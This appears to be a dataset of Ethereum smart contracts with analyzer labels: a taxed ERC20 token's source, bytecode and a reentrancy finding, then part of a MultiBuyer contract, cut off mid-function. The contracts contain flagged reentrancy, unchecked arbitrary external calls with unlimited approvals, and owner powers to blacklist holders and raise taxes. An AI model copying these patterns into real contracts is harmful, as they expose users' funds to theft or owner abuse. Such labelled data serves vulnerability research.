IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private removeMaxTx = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddress = payable(0x62c190fa1fF9CCF7e2187Ed1243C25068172e83E);
_buyTax = 12;
_sellTax = 12;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setremoveMaxTx(bool onoff) external onlyOwner() {
removeMaxTx = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to] ) {
_feeAddr1 = 0;
_feeAddr2 = _buyTax;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) {
require(amount <= _maxTxAmount);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = _sellTax;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddress.transfer(amount);
}
function createPair() external onlyOwner(){
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
removeMaxTx = true;
_maxTxAmount = 20_000_000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() public onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
if (maxTxAmount > 20_000_000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function _setSellTax(uint256 sellTax) external onlyOwner() {
if (sellTax < 28) {
_sellTax = sellTax;
}
}
function setBuyTax(uint256 buyTax) external onlyOwner() {
if (buyTax < 28) {
_buyTax = buyTax;
}
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a14610312578063c3c8cd8014610332578063c9567bf914610347578063dbe8272c1461035c578063dc1052e21461037c578063dd62ed3e1461039c57600080fd5b8063715018a6146102a05780638da5cb5b146102b557806395d89b411461015c5780639e78fb4f146102dd578063a9059cbb146102f257600080fd5b806323b872dd116100f257806323b872dd1461020f578063273123b71461022f578063313ce5671461024f5780636fc3eaec1461026b57806370a082311461028057600080fd5b8063013206211461013a57806306fdde031461015c578063095ea7b31461019a57806318160ddd146101ca5780631bbae6e0146101ef57600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061015a61015536600461183f565b6103e2565b005b34801561016857600080fd5b5060408051808201825260068152654b4f4e47465560d01b6020820152905161019191906118bc565b60405180910390f35b3480156101a657600080fd5b506101ba6101b536600461174d565b610433565b6040519015158152602001610191565b3480156101d657600080fd5b50670de0b6b3a76400005b604051908152602001610191565b3480156101fb57600080fd5b5061015a61020a366004611877565b61044a565b34801561021b57600080fd5b506101ba61022a36600461170d565b61048c565b34801561023b57600080fd5b5061015a61024a36600461169d565b6104f5565b34801561025b57600080fd5b5060405160098152602001610191565b34801561027757600080fd5b5061015a610540565b34801561028c57600080fd5b506101e161029b36600461169d565b610574565b3480156102ac57600080fd5b5061015a610596565b3480156102c157600080fd5b506000546040516001600160a01b039091168152602001610191565b3480156102e957600080fd5b5061015a61060a565b3480156102fe57600080fd5b506101ba61030d36600461174d565b610849565b34801561031e57600080fd5b5061015a61032d366004611778565b610856565b34801561033e57600080fd5b5061015a6108fa565b34801561035357600080fd5b5061015a61093a565b34801561036857600080fd5b5061015a610377366004611877565b610b00565b34801561038857600080fd5b5061015a610397366004611877565b610b38565b3480156103a857600080fd5b506101e16103b73660046116d5565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b031633146104155760405162461bcd60e51b815260040161040c9061190f565b60405180910390fd5b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000610440338484610b70565b5060015b92915050565b6000546001600160a01b031633146104745760405162461bcd60e51b815260040161040c9061190f565b66470de4df8200008111156104895760108190555b50565b6000610499848484610c94565b6104eb84336104e685604051806060016040528060288152602001611a8d602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f8b565b610b70565b5060019392505050565b6000546001600160a01b0316331461051f5760405162461bcd60e51b815260040161040c9061190f565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461056a5760405162461bcd60e51b815260040161040c9061190f565b4761048981610fc5565b6001600160a01b03811660009081526002602052604081205461044490610fff565b6000546001600160a01b031633146105c05760405162461bcd60e51b815260040161040c9061190f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106345760405162461bcd60e51b815260040161040c9061190f565b600f54600160a01b900460ff161561068e5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161040c565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b1580156106ee57600080fd5b505afa158015610702573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061072691906116b9565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561076e57600080fd5b505afa158015610782573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107a691906116b9565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156107ee57600080fd5b505af1158015610802573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082691906116b9565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b6000610440338484610c94565b6000546001600160a01b031633146108805760405162461bcd60e51b815260040161040c9061190f565b60005b81518110156108f6576001600660008484815181106108b257634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108ee81611a22565b915050610883565b5050565b6000546001600160a01b031633146109245760405162461bcd60e51b815260040161040c9061190f565b600061092f30610574565b905061048981611083565b6000546001600160a01b031633146109645760405162461bcd60e51b815260040161040c9061190f565b600e546109849030906001600160a01b0316670de0b6b3a7640000610b70565b600e546001600160a01b031663f305d71947306109a081610574565b6000806109b56000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a1857600080fd5b505af1158015610a2c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a51919061188f565b5050600f805466470de4df82000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610ac857600080fd5b505af1158015610adc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610489919061185b565b6000546001600160a01b03163314610b2a5760405162461bcd60e51b815260040161040c9061190f565b601c81101561048957600b55565b6000546001600160a01b03163314610b625760405162461bcd60e51b815260040161040c9061190f565b601c81101561048957600c55565b6001600160a01b038316610bd25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161040c565b6001600160a01b038216610c335760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161040c565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cf85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161040c565b6001600160a01b038216610d5a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161040c565b60008111610dbc5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161040c565b6001600160a01b03831660009081526006602052604090205460ff1615610de257600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e2457506001600160a01b03821660009081526005602052604090205460ff16155b15610f7b576000600955600c54600a55600f546001600160a01b038481169116148015610e5f5750600e546001600160a01b03838116911614155b8015610e8457506001600160a01b03821660009081526005602052604090205460ff16155b8015610e995750600f54600160b81b900460ff165b15610ead57601054811115610ead57600080fd5b600f546001600160a01b038381169116148015610ed85750600e546001600160a01b03848116911614155b8015610efd57506001600160a01b03831660009081526005602052604090205460ff16155b15610f0e576000600955600b54600a555b6000610f1930610574565b600f54909150600160a81b900460ff16158015610f445750600f546001600160a01b03858116911614155b8015610f595750600f54600160b01b900460ff165b15610f7957610f6781611083565b478015610f7757610f7747610fc5565b505b505b610f86838383611228565b505050565b60008184841115610faf5760405162461bcd60e51b815260040161040c91906118bc565b506000610fbc8486611a0b565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156108f6573d6000803e3d6000fd5b60006007548211156110665760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161040c565b6000611070611233565b905061107c8382611256565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110d957634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561112d57600080fd5b505afa158015611141573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061116591906116b9565b8160018151811061118657634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546111ac9130911684610b70565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111e5908590600090869030904290600401611944565b600060405180830381600087803b1580156111ff57600080fd5b505af1158015611213573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610f86838383611298565b600080600061124061138f565b909250905061124f8282611256565b9250505090565b600061107c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113cf565b6000806000806000806112aa876113fd565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506112dc908761145a565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461130b908661149c565b6001600160a01b03891660009081526002602052604090205561132d816114fb565b6113378483611545565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161137c91815260200190565b60405180910390a3505050505050505050565b6007546000908190670de0b6b3a76400006113aa8282611256565b8210156113c657505060075492670de0b6b3a764000092509050565b90939092509050565b600081836113f05760405162461bcd60e51b815260040161040c91906118bc565b506000610fbc84866119cc565b600080600080600080600080600061141a8a600954600a54611569565b925092509250600061142a611233565b9050600080600061143d8e8787876115be565b919e509c509a509598509396509194505050505091939550919395565b600061107c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f8b565b6000806114a983856119b4565b90508381101561107c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161040c565b6000611505611233565b90506000611513838361160e565b30600090815260026020526040902054909150611530908261149c565b30600090815260026020526040902055505050565b600754611552908361145a565b600755600854611562908261149c565b6008555050565b6000808080611583606461157d898961160e565b90611256565b90506000611596606461157d8a8961160e565b905060006115ae826115a88b8661145a565b9061145a565b9992985090965090945050505050565b60008080806115cd888661160e565b905060006115db888761160e565b905060006115e9888861160e565b905060006115fb826115a8868661145a565b939b939a50919850919650505050505050565b60008261161d57506000610444565b600061162983856119ec565b90508261163685836119cc565b1461107c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161040c565b803561169881611a69565b919050565b6000602082840312156116ae578081fd5b813561107c81611a69565b6000602082840312156116ca578081fd5b815161107c81611a69565b600080604083850312156116e7578081fd5b82356116f281611a69565b9150602083013561170281611a69565b809150509250929050565b600080600060608486031215611721578081fd5b833561172c81611a69565b9250602084013561173c81611a69565b929592945050506040919091013590565b6000806040838503121561175f578182fd5b823561176a81611a69565b946020939093013593505050565b6000602080838503121561178a578182fd5b823567ffffffffffffffff808211156117a1578384fd5b818501915085601f8301126117b4578384fd5b8135818111156117c6576117c6611a53565b8060051b604051601f19603f830116810181811085821117156117eb576117eb611a53565b604052828152858101935084860182860187018a1015611809578788fd5b8795505b838610156118325761181e8161168d565b85526001959095019493860193860161180d565b5098975050505050505050565b600060208284031215611850578081fd5b813561107c81611a7e565b60006020828403121561186c578081fd5b815161107c81611a7e565b600060208284031215611888578081fd5b5035919050565b6000806000606084860312156118a3578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b818110156118e8578581018301518582016040015282016118cc565b818111156118f95783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156119935784516001600160a01b03168352938301939183019160010161196e565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156119c7576119c7611a3d565b500190565b6000826119e757634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611a0657611a06611a3d565b500290565b600082821015611a1d57611a1d611a3d565b500390565b6000600019821415611a3657611a36611a3d565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461048957600080fd5b801515811461048957600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ad783ba8f9e9060dd655e3971541482e234b5e94e7983cd800d8505fcc33dfe664736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 4,084 |
0x6c571b8b19c84060e8405d79cb980a5aba9fe7a1
|
pragma solidity ^0.4.24;
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// File: contracts/interface/IBasicMultiToken.sol
contract IBasicMultiToken is ERC20 {
event Bundle(address indexed who, address indexed beneficiary, uint256 value);
event Unbundle(address indexed who, address indexed beneficiary, uint256 value);
function tokensCount() public view returns(uint256);
function tokens(uint256 _index) public view returns(ERC20);
function allTokens() public view returns(ERC20[]);
function allDecimals() public view returns(uint8[]);
function allBalances() public view returns(uint256[]);
function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]);
function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public;
function bundle(address _beneficiary, uint256 _amount) public;
function unbundle(address _beneficiary, uint256 _value) public;
function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public;
}
// File: contracts/interface/IMultiToken.sol
contract IMultiToken is IBasicMultiToken {
event Update();
event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return);
function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount);
function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount);
function allWeights() public view returns(uint256[] _weights);
function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights);
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
require(token.approve(spender, value));
}
}
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol
/**
* @title Contracts that should be able to recover tokens
* @author SylTi
* @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner.
* This will prevent any accidental loss of tokens.
*/
contract CanReclaimToken is Ownable {
using SafeERC20 for ERC20Basic;
/**
* @dev Reclaim all ERC20Basic compatible tokens
* @param token ERC20Basic The address of the token contract
*/
function reclaimToken(ERC20Basic token) external onlyOwner {
uint256 balance = token.balanceOf(this);
token.safeTransfer(owner, balance);
}
}
// File: contracts/registry/MultiBuyer.sol
contract MultiBuyer is CanReclaimToken {
using SafeMath for uint256;
function buyOnApprove(
IMultiToken _mtkn,
uint256 _minimumReturn,
ERC20 _throughToken,
address[] _exchanges,
bytes _datas,
uint[] _datasIndexes, // including 0 and LENGTH values
uint256[] _values
)
public
payable
{
require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH");
require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges");
for (uint i = 0; i < _exchanges.length; i++) {
bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]);
for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) {
data[j - _datasIndexes[i]] = _datas[j];
}
if (_throughToken != address(0) && i > 0) {
if (_throughToken.allowance(this, _exchanges[i]) == 0) {
_throughToken.approve(_exchanges[i], uint256(-1));
}
require(_exchanges[i].call(data), "buy: exchange arbitrary call failed");
} else {
require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed");
}
}
j = _mtkn.totalSupply(); // optimization totalSupply
uint256 bestAmount = uint256(-1);
for (i = _mtkn.tokensCount(); i > 0; i--) {
ERC20 token = _mtkn.tokens(i - 1);
token.approve(_mtkn, 0);
token.approve(_mtkn, token.balanceOf(this));
uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn));
if (amount < bestAmount) {
bestAmount = amount;
}
}
require(bestAmount >= _minimumReturn, "buy: return value is too low");
_mtkn.bundle(msg.sender, bestAmount);
if (address(this).balance > 0) {
msg.sender.transfer(address(this).balance);
}
if (_throughToken != address(0) && _throughToken.balanceOf(this) > 0) {
_throughToken.transfer(msg.sender, _throughToken.balanceOf(this));
}
}
function buyOnTransfer(
IMultiToken _mtkn,
uint256 _minimumReturn,
ERC20 _throughToken,
address[] _exchanges,
bytes _datas,
uint[] _datasIndexes, // including 0 and LENGTH values
uint256[] _values
)
public
payable
{
require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH");
require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges");
for (uint i = 0; i < _exchanges.length; i++) {
bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]);
for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) {
data[j - _datasIndexes[i]] = _datas[j];
}
if (_throughToken != address(0) && i > 0) {
_throughToken.transfer(_exchanges[i], _values[i]);
require(_exchanges[i].call(data), "buy: exchange arbitrary call failed");
} else {
require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed");
}
}
j = _mtkn.totalSupply(); // optimization totalSupply
uint256 bestAmount = uint256(-1);
for (i = _mtkn.tokensCount(); i > 0; i--) {
ERC20 token = _mtkn.tokens(i - 1);
token.approve(_mtkn, 0);
token.approve(_mtkn, token.balanceOf(this));
uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn));
if (amount < bestAmount) {
bestAmount = amount;
}
}
require(bestAmount >= _minimumReturn, "buy: return value is too low");
_mtkn.bundle(msg.sender, bestAmount);
if (address(this).balance > 0) {
msg.sender.transfer(address(this).balance);
}
if (_throughToken != address(0) && _throughToken.balanceOf(this) > 0) {
_throughToken.transfer(msg.sender, _throughToken.balanceOf(this));
}
}
function buyFirstTokensOnApprove(
IMultiToken _mtkn,
ERC20 _throughToken,
address[] _exchanges,
bytes _datas,
uint[] _datasIndexes, // including 0 and LENGTH values
uint256[] _values
)
public
payable
{
require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH");
require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges");
for (uint i = 0; i < _exchanges.length; i++) {
bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]);
for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) {
data[j - _datasIndexes[i]] = _datas[j];
}
if (_throughToken != address(0) && i > 0) {
if (_throughToken.allowance(this, _exchanges[i]) == 0) {
_throughToken.approve(_exchanges[i], uint256(-1));
}
require(_exchanges[i].call(data), "buy: exchange arbitrary call failed");
} else {
require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed");
}
}
uint tokensCount = _mtkn.tokensCount();
uint256[] memory amounts = new uint256[](tokensCount);
for (i = 0; i < tokensCount; i++) {
ERC20 token = _mtkn.tokens(i);
amounts[i] = token.balanceOf(this);
token.approve(_mtkn, 0);
token.approve(_mtkn, amounts[i]);
}
_mtkn.bundleFirstTokens(msg.sender, msg.value.mul(1000), amounts);
if (address(this).balance > 0) {
msg.sender.transfer(address(this).balance);
}
if (_throughToken != address(0) && _throughToken.balanceOf(this) > 0) {
_throughToken.transfer(msg.sender, _throughToken.balanceOf(this));
}
}
function buyFirstTokensOnTransfer(
IMultiToken _mtkn,
ERC20 _throughToken,
address[] _exchanges,
bytes _datas,
